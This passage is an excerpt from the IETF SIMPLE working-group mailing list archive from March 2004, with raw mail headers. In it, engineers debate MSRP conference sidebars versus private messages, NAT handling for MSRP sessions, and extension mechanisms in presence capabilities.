> >>Let me provide a concrete example of an already existing 
> service (IRC)
> >>that has what I think is a close approximation of both sidebar and
> >>private message functionality. (BTW, I feel strongly that if MSRP
> >>conferences aren't as feature rich as IRC is, and provide the 
> >>same user
> >>experience, we've failed miserably.)
> >>
> >>Channels in IRC have identities, e.g., #helsinki, and 
> >>participant lists
> >>that are delivered in a very similar manner that the conference-info
> >>events would be delivered. Users join these channels using JOIN, at
> >>which time they get the participant list, and after that, 
> >>updates e.g.,
> >>whenever anyone leaves or joins the channel.
> >>
> >>Users can send private messages to the other participants in 
> >>the channel:
> >>
> >>	PRIVMSG foobar :Some nick you got there foobar!
> >>
> >>Usually, these messages are displayed in the same pane as 
> the rest of
> >>the channel's messages, including information about the sender but
> >>marked accordingly as private.
> >>
> >>A user can also invite others to a sidebar of sorts, that is, a new
> >>channel, whose properties can be set such that it can be joined by
> >>invitation only.
> >>
> >>	INVITE FunnyNick #my_channel
> >>	INVITE BeerLover #my_channel
> >>	INVITE ROOLZ #my_channel
> >>
> >>Joining this new channel as a result of an invitation (with JOIN)
> >>usually results in a new window, moving the focus of 
> conversation away
> >>from the original channel, but still maintaining the 
> original channel'
> >>and its messages active in the background.
> >>
> >>The users may again send messages either to the entire 
> >>channel (MSG), or
> >>to only one participant (PRIVMSG). A recipient of an INVITE will
> >>generally make a choice just like in a SIP invitation whether 
> >>or not to
> >>join the sidebar or not. Receiving a PRIVMSG requires no 
> actions from
> >>the recipient. Indeed, it might even go unnoticed.
> >>
> >>Taking this into account, I fail to see how sidebars alone 
> can be made
> >>to work in providing similar functionality in MSRP 
> conferences. Either
> >>sidears or private messages alone won't result in the same level of
> >>functionality.
> >>
> >>Wrapping all private conversation inside a sidebar is incredibly
> >>inefficient and results in bad user experience, since there 
> >>is no way to
> >>distinguish a REFER that is to a sidebar whose sole purpose 
> >>is to send a
> >>single private message to the user or have a real ad-hoc 
> conversation
> >>posibly consisting of a real exchange of messages. In fact, 
> this would
> >>require 4 rounds of singalling (not including sidebar creation and
> >>tear-down), plus user interaction in between:
> >>
> >>REFER (to sidebar)
> >>200 OK
> >>
> >>-Query/inform user whether wants to join-
> >>
> >>INVITE (to sidebar)
> >>200 OK
> >>ACK
> >>
> >>(Note: would probably also require subscription to conference-info,
> >>because one would be interested to whom they are sending the private
> >>messages...)
> >>
> >>MSRP SEND
> >>MSRP OK
> >>
> >>BYE
> >>200 OK
> >>
> >>...as opposed to a single round of messages:
> >>
> >>MSRP SEND (private)
> >>200 OK
> >>
> >>(Note that enabling auto-answering wrt the REFER would in the 
> >>worst case
> >>result in a sidebar bombardment, or having a user be moved over to a
> >>sidebar in the middle of, say, message composition.)
> >>
> >>The same level of functionality would also not be met with 
> only using
> >>private messages. AFAIK, the purpose of a sidebar is to 
> move the focus
> >>of the conversation temporarily outside the original 
> conference. This
> >>requires being able to wrap a discussion into a separate 
> >>context. A very
> >>important aspect of this is to let the user decide whether to 
> >>joing such
> >>a sidebar, and when to join it. Determining to which context a
> >>particular received private message belongs to can in this 
> >>case only be
> >>done in the recipients head - there are no protocol 
> elements to help.
> >>
> >>As a conclusion, I don't see how sidebars alone can provide 
> >>the required
> >>functionality.
> >>
> >>
> >>>So, the question is, do we see the perceived efficiency 
> >>
> >>improvements 
> >>
> >>>of a pager-mode sidebar as being sufficiently good to allow for 
> >>>defining a separate sidebar mechanism for it?
> >>
> >>It is also about user interaction. When a user receives an 
> >>INVITE for an
> >>MSRP session, it can make a choice just like in a voice call between
> >>accepting the call or rejecting it. Page mode doesn't provide that 
> >>functionality.
> >>
> >>Cheers,
> >>Aki
> >>
> >>
> >>>-Jonathan R.
> >>
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 05:54:45 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA09226
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 05:54:45 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axl3y-0005Ew-8e
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 05:54:18 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21AsI8m020141
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 05:54:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axl3y-0005Em-50
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 05:54:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA09047
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 05:54:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axl3u-0004yK-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 05:54:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axl2a-0004hc-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 05:52:53 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axl1K-0004XJ-00; Mon, 01 Mar 2004 05:51:34 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axku8-0004y6-9n; Mon, 01 Mar 2004 05:44:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axku2-0003yC-LK; Mon, 01 Mar 2004 05:44:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axktd-0003xU-3x
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 05:43:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08633
	for <simple@ietf.org>; Mon, 1 Mar 2004 05:43:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxktZ-00040F-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:43:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axkso-0003wT-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:42:47 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxksE-0003rG-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:42:10 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i21AfRUG008016;
	Mon, 1 Mar 2004 05:41:28 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA06961;
	Mon, 1 Mar 2004 05:41:27 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <FZX4GTQL>; Mon, 1 Mar 2004 05:41:27 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B647E@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 05:41:17 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Aki

My post was meant to point out that we had decided to implement sidebars
as separate dialogs from main conferences, which is similar to making
"private messages" separate dialogs from a main IM dialog.  In that
way, I think that sidebars and private messages are the same; they are
media sent to a subset of participants in the group.  If there
is a reason to allow a special way to subset destinations for a
private message rather than the entire chat group, then whatever
argument you make would apply to a sidebar.  

Brian

> -----Original Message-----
> From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> Sent: Monday, March 01, 2004 2:58 AM
> To: ext Rosen, Brian
> Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> Miguel.An.Garcia@nokia.com; simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> Brian,
> 
> I've never argued for private messages over sidebars. I still 
> maintain 
> that sidebars and private messages are different and *complimentary* 
> features, and that we need *both* to have a complete solution for IM 
> conferences.
> 
> Cheers,
> Aki
> 
> ext Rosen, Brian wrote:
> > Aki
> > 
> > When we were discussing sidebars, I made arguments like 
> this against making
> > a sidebar
> > a separate session.  Sidebars, I argued, are just media 
> (mixing) changes,
> > they have
> > nothing to do with session management.
> > 
> > I lost this argument, and I will be very unhappy if IM 
> works differently.
> > One of
> > the reasons I lost it was the observation that a sidebar 
> could include
> > participants
> > who are not main conference participants.  I think you have 
> the same issue
> > here.
> > 
> > Brian
> > 
> > 
> >>-----Original Message-----
> >>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> >>Sent: Sunday, February 29, 2004 12:40 PM
> >>To: ext Jonathan Rosenberg
> >>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> >>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> >>Miguel.An.Garcia@nokia.com; simple@ietf.org
> >>Subject: Re: [Simple] Chat sessions
> >>
> >>
> >>
> >>
> >>ext Jonathan Rosenberg wrote:
> >><snip />
> >>
> >>>>3. As Aki explained, sidebars and private IMs within a conference 
> >>>>are two different things. Sidebars are subconferences, 
> that include
> >>>> a certain subset of the participants in the main 
> conference. They 
> >>>>need to be explicitly created and deleted. Private IMs within a 
> >>>>conference are also targeted to a subset of the conference 
> >>>>participants. But there is no need to setup a sidebar or 
> any other 
> >>>>additional context to send them. The recipients can simply be 
> >>>>signaled within each message (as proposed by using CPIM 
> To header).
> >>>> This seems to be a specific property of IM, as this sort of 
> >>>>addressing would be impossible e.g. in RTP. In theory priate 
> >>>>messaging facility could be supported by sidebars, but in 
> this case
> >>>> the focus would need to have as many sidebars constantly 
> setup, as
> >>>> there are different possible participant subset 
> combinations. Way 
> >>>>too complex and not needed.
> >>>
> >>>
> >>>I dont think that, functionally, what you are describing is 
> >>
> >>different
> >>
> >>> from a sidebar. What differs is that the specifics of this media 
> >>>type allow for a more efficient implementation of the sidebar than 
> >>>would be possible for another media type, such as audio. 
> >>
> >>Indeed, the 
> >>
> >>>same is true for IM in general - why set up a session (ala 
> >>
> >>msrp) when
> >>
> >>>you can just send a pager mode?
> >>
> >>The ultimate proof of difference in functionality is that private
> >>messages are usable and useful in a sidebar - in fact it makes no
> >>difference whether they're sent within the context of a 
> conference, a
> >>conference sidebar, or a sidebar of a conference sidebar.
> >>
> >>Let me provide a concrete example of an already existing 
> service (IRC)
> >>that has what I think is a close approximation of both sidebar and
> >>private message functionality. (BTW, I feel strongly that if MSRP
> >>conferences aren't as feature rich as IRC is, and provide the 
> >>same user
> >>experience, we've failed miserably.)
> >>
> >>Channels in IRC have identities, e.g., #helsinki, and 
> >>participant lists
> >>that are delivered in a very similar manner that the conference-info
> >>events would be delivered. Users join these channels using JOIN, at
> >>which time they get the participant list, and after that, 
> >>updates e.g.,
> >>whenever anyone leaves or joins the channel.
> >>
> >>Users can send private messages to the other participants in 
> >>the channel:
> >>
> >>	PRIVMSG foobar :Some nick you got there foobar!
> >>
> >>Usually, these messages are displayed in the same pane as 
> the rest of
> >>the channel's messages, including information about the sender but
> >>marked accordingly as private.
> >>
> >>A user can also invite others to a sidebar of sorts, that is, a new
> >>channel, whose properties can be set such that it can be joined by
> >>invitation only.
> >>
> >>	INVITE FunnyNick #my_channel
> >>	INVITE BeerLover #my_channel
> >>	INVITE ROOLZ #my_channel
> >>
> >>Joining this new channel as a result of an invitation (with JOIN)
> >>usually results in a new window, moving the focus of 
> conversation away
> >>from the original channel, but still maintaining the 
> original channel'
> >>and its messages active in the background.
> >>
> >>The users may again send messages either to the entire 
> >>channel (MSG), or
> >>to only one participant (PRIVMSG). A recipient of an INVITE will
> >>generally make a choice just like in a SIP invitation whether 
> >>or not to
> >>join the sidebar or not. Receiving a PRIVMSG requires no 
> actions from
> >>the recipient. Indeed, it might even go unnoticed.
> >>
> >>Taking this into account, I fail to see how sidebars alone 
> can be made
> >>to work in providing similar functionality in MSRP 
> conferences. Either
> >>sidears or private messages alone won't result in the same level of
> >>functionality.
> >>
> >>Wrapping all private conversation inside a sidebar is incredibly
> >>inefficient and results in bad user experience, since there 
> >>is no way to
> >>distinguish a REFER that is to a sidebar whose sole purpose 
> >>is to send a
> >>single private message to the user or have a real ad-hoc 
> conversation
> >>posibly consisting of a real exchange of messages. In fact, 
> this would
> >>require 4 rounds of singalling (not including sidebar creation and
> >>tear-down), plus user interaction in between:
> >>
> >>REFER (to sidebar)
> >>200 OK
> >>
> >>-Query/inform user whether wants to join-
> >>
> >>INVITE (to sidebar)
> >>200 OK
> >>ACK
> >>
> >>(Note: would probably also require subscription to conference-info,
> >>because one would be interested to whom they are sending the private
> >>messages...)
> >>
> >>MSRP SEND
> >>MSRP OK
> >>
> >>BYE
> >>200 OK
> >>
> >>...as opposed to a single round of messages:
> >>
> >>MSRP SEND (private)
> >>200 OK
> >>
> >>(Note that enabling auto-answering wrt the REFER would in the 
> >>worst case
> >>result in a sidebar bombardment, or having a user be moved over to a
> >>sidebar in the middle of, say, message composition.)
> >>
> >>The same level of functionality would also not be met with 
> only using
> >>private messages. AFAIK, the purpose of a sidebar is to 
> move the focus
> >>of the conversation temporarily outside the original 
> conference. This
> >>requires being able to wrap a discussion into a separate 
> >>context. A very
> >>important aspect of this is to let the user decide whether to 
> >>joing such
> >>a sidebar, and when to join it. Determining to which context a
> >>particular received private message belongs to can in this 
> >>case only be
> >>done in the recipients head - there are no protocol 
> elements to help.
> >>
> >>As a conclusion, I don't see how sidebars alone can provide 
> >>the required
> >>functionality.
> >>
> >>
> >>>So, the question is, do we see the perceived efficiency 
> >>
> >>improvements 
> >>
> >>>of a pager-mode sidebar as being sufficiently good to allow for 
> >>>defining a separate sidebar mechanism for it?
> >>
> >>It is also about user interaction. When a user receives an 
> >>INVITE for an
> >>MSRP session, it can make a choice just like in a voice call between
> >>accepting the call or rejecting it. Page mode doesn't provide that 
> >>functionality.
> >>
> >>Cheers,
> >>Aki
> >>
> >>
> >>>-Jonathan R.
> >>
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 11:04:35 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12739
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:04:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxptL-0003yM-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:03:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axpnc-0001uv-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 10:57:48 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpgA-0006yZ-00; Mon, 01 Mar 2004 10:50:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpgA-0001Fo-Ga; Mon, 01 Mar 2004 10:50:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpfc-00014S-Js
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 10:49:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA09747
	for <simple@ietf.org>; Mon, 1 Mar 2004 10:49:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpXD-0003ma-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:40:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axp7M-0004KG-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:14:08 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxoZ0-00040g-00
	for simple@ietf.org; Mon, 01 Mar 2004 09:38:34 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 06:50:02 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i21Ec01m018474;
	Mon, 1 Mar 2004 06:38:01 -0800 (PST)
Received: from [172.16.37.243] (sjc-vpn1-572.cisco.com [10.21.98.60])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMU05998;
	Mon, 1 Mar 2004 06:37:57 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] RE: MSRP & Comedia
From: Cullen Jennings <fluffy@cisco.com>
To: Adam Roach <adam@dynamicsoft.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>
CC: <simple@ietf.org>
Message-ID: <BC6979D4.339F9%fluffy@cisco.com>
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A346@dyn-tx-exch-001.dynamicsoft.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 23:37:56 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


It just sends an offer with all three and then the other ends selects. This
is how SIP is today - you can send an invite with no offer then get the
offer in the response and put the answer in the ack.

On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:

> From a protocol perspective, this sounds reasonable.
> 
> I think the key problem is that the first example shifts the
> decision of what type of communication is requested
> from the caller to the callee. Without getting into a discussion
> of whether that is the "right" thing to do, it certainly is
> going to differ from user expectations.
> 
> +----------------------------------------------+
> | Cullen Jennings <sip:fluffy@cisco.com> wants |
> | to start a conversation, but I have no idea  |
> | what kind. Take your best guess:             |
> |                                              |
> |    +-------+  +-----------------+  +----+    |
> |    | Voice |  | Voice and video |  | IM |    |
> |    +-------+  +-----------------+  +----+    |
> +----------------------------------------------+
> 
> /a
> 
>> -----Original Message-----
>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>> Sent: Friday, February 27, 2004 0:50
>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>> Cc: simple@ietf.org
>> Subject: MSRP & Comedia
>> 
>> 
>> 
>> This is a half baked idea that I am just tossing out as food
>> for thought
>> 
>> Consider a systems where something like the UA that sends the
>> answer sends
>> the VISIT. 
>> 
>> Consider the cases where A want to set up a MSRP session with B.
>> 
>> A is behind a NAT and does not want to use a relay. A sends
>> an INVITE with
>> no offer. B sends an offer, gets back an answer and A sends the VISIT.
>> A -> inv    -> B
>> A <- offer  <- B
>> A -> answer -> B
>> A -> visit  -> B
>> 
>> B is behind a NAT. A sends an offer and B sends an answer and
>> A sends VISIT.
>> A -> offer  -> B
>> A <- answer <- B
>> A <- visit  <- B
>> 
>> A and B are behind NATS. A sends INVITE no offer, B knows
>> relay is needed
>> and gets one and sends offer.
>> 
>> The underlying principal is basically if you don't know what
>> port you are
>> going to receive media at (which is the case with a NAT) you
>> should not be
>> making any offers and if you make an offer the assumption is
>> that the other
>> side and send media (a VISIT) to that and have it work.
>> 
>> The fundamental thing I am trying to avoid is two vendors
>> both saying they
>> have MSRP compliant systems yet still having them fail to be
>> able to talk to
>> each other because they both expect the other one to host.
>> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 11:04:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12801
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:04:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpt7-0003tK-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:03:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axpmo-0001ZU-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 10:56:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpfJ-0006hY-00; Mon, 01 Mar 2004 10:49:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpfC-0000vL-Bj; Mon, 01 Mar 2004 10:49:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpeL-0000pn-5F
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 10:48:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08537
	for <simple@ietf.org>; Mon, 1 Mar 2004 10:48:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpdH-0005sC-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:47:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpHy-00074I-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:25:06 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axokp-0006u3-00
	for simple@ietf.org; Mon, 01 Mar 2004 09:50:47 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21EoGNr011392;
	Mon, 1 Mar 2004 09:50:17 -0500 (EST)
Message-ID: <40434D96.5050006@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: mikko.lonnfors@nokia.com, simple@ietf.org
Subject: Re: [Simple] comments on prescaps - extension elements
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BC@esebe004.ntc.nokia.com> <40430042.5090108@cisco.com>
In-Reply-To: <40430042.5090108@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 09:49:58 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Paul Kyzivat wrote:

> 
>>> I disagree!
>>>
>>> The extension mechanism in callee-caps has means that don't require 
>>> any registration at all. This is very good for cases when there are 
>>> features that are very transient. For instance, it is possible to 
>>> define a feature tag for something like frobitz-sales, or 
>>> widget-help. And then I can use callerprefs to select an endpoint 
>>> with the appropriate capability. This allows end users to take 
>>> advantage of callerprefs for features that matter to them. (Assuming 
>>> sufficiently smart devices.)
>>>
>>> When using presence, I would like the same to hold true. If it is 
>>> necessary to define a new xml schema before I can announce a 
>>> capability for widget-help in my presence then nothing this dynamic 
>>> can be a feature.

I'm not sure I agree with this premise. Presence is not callee caps. 
With caller prefs, I can ask to a device that does frobitz-sales, 
without learning whether there exists such a device, or which it is. 
Thus, there are no privacy concerns per se with the use case you describe.

However, if every callee caps attribute automatically goes into pidf, 
then information can be revealed to a presentity. How do we control 
that? How would privacy policies work with the extensibility model you 
desire?


>>
>>
>>
>> This is definitely a use case where mandating a new XML schema may not
>> work. I originally thought that making new XML schema would not be that
>> big deal but if you want this kind of automation then making new XML
>> schema on the fly may not be possible. Only doubt that I have is that 
>> can the end point which receives this
>> information really use it? If this info in generated on the fly then how
>> the receiving end really knows to look for this?
> 
> 
> This can work as long as it is a community of users with a common 
> understanding of what they use. Such a community may have no ability to 
> alter the code of the devices, so this is the best they can expect.

It seems you need the ability to modify the devices to take advantage of 
the extension mechanism you want. As I pointed out during the meeting, 
the currently documented extension technique works when the callee and 
the watcher understand the extension, but the presence server does not. 
In such a case, it seems to me that the devices necessarily have to be 
able to change, no?

> 
>>> If there is a problem, it is that the draft forbids use of the 
>>> extension mechanism when there is specific schema for the same purpose.
>>
>>
>> Well, I think this restriction is quite useful. I think there should be
>> a rule that _same_ data cannot be placed into two different places. If
>> this happens it may be very confusing for applications processing this
>> information to decide what to do. My intension with the restriction 
>> you refer to was to forbid use of
>> extension tags to represent standard tags defined in callee caps. 
> 
> 
> The problem here is that a given tag may initially be represented as an 
> extension tag. Later, somebody decides it would be nice to have a custom 
> schema for that tag. Once that starts to be implemented there is an 
> interop problem between those that have adopted the new schema and those 
> still using the old way.

Exactly - this is one of the arguments for having just one extensibility 
mechanism.

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From mailman-admin@ietf.org  Mon Mar  1 11:19:23 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14622
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:06:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
